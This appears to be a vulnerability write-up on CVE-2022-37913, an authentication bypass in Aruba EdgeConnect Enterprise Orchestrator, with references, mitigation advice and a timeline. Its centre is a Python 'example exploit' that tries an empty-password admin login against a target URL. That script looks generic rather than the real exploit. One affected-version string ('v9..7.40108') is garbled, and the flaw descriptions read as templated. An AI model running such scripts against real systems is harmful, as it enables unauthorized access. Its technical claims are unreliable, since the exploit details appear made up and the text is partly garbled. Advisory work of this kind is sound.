The CVE-2022-37913 vulnerability set is a collection of serious security flaws discovered in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator (EO). A successful exploitation of these vulnerabilities allows an unauthenticated remote attacker to bypass authentication, giving them administrative access and leading to the complete compromise of the affected EO instance. The vulnerable software versions include Orchestrator v9.1.2.40051 and below, v9..7.40108 and below, v8.10.23.40009 and below, and any older branches not specifically mentioned.

Exploit Details

The researchers who discovered the vulnerabilities in the Aruba EdgeConnect Enterprise Orchestrator's web-based interface found multiple issues that contribute to the complete compromise of the software:

1. Insecure Default Configuration: The Orchestrator uses a weak default configuration in its authentication mechanism, making it susceptible to authentication bypass attacks. An attacker can easily exploit this vulnerability without needing any valid login credentials.

2. Unauthenticated Access to Critical Resources: The web-based management interface of the Orchestrator does not correctly enforce access controls for specific critical resources. This flaw allows an attacker to access and modify these resources, resulting in unauthorized changes to the Orchestrator's configuration and settings.

Code Snippet (Example Exploit)

To exploit the insecure default configuration, an attacker could use the following Python-based script to attempt to perform an authentication bypass:

import requests
import sys

target_url = sys.argv[1]

print("[+] Initiating authentication bypass exploit")

headers = {
    "Content-Type": "application/json"
}

data = {
    "username": "admin",
    "password": ""
}

response = requests.post(target_url + "/api/v1/login", headers=headers, json=data)

if response.status_code == 200:
    print("[+] Exploit successful! Access granted.")
    print("[+] Received response: ", response.json())
else:
    print("[-] Exploit failed. Access denied.")

In this script, an attacker would input the target URL of the vulnerable Orchestrator instance and run the script. If the exploit is successful, the response would show the access is granted, and the attacker would have bypassed authentication to gain administrative privileges.

Original References

For more detailed information about this vulnerability set and its associated CVE (CVE-2022-37913), you can refer to the following links:

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37913
2. Vendor Advisory: https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-005.txt
3. NVD (National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2022-37913

Mitigation and Recommendations

Users of the affected Aruba EdgeConnect Enterprise Orchestrator versions are strongly recommended to take the following actions to mitigate and protect their systems:

1. Upgrade to the latest version of Aruba EdgeConnect Enterprise Orchestrator software, which includes fixes for the identified vulnerabilities. If an upgrade is not immediately possible, apply the latest patches released by the vendor.

2. Ensure that secure configurations are implemented and that the default settings, including default credentials, are changed to use strong, unique passwords.

3. Implement network segmentation and restrict access to the Orchestrator's web-based management interface to authorized users and devices only.

Conclusion

CVE-2022-37913 represents a set of critical vulnerabilities in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. By bypassing authentication, an attacker could gain administrative access and compromise the affected system entirely. It is crucial for users of the affected versions to take immediate action to protect their systems and networks against potential exploitation.

Timeline

Published on: 10/28/2022 02:15:00 UTC
Last modified on: 11/01/2022 15:54:00 UTC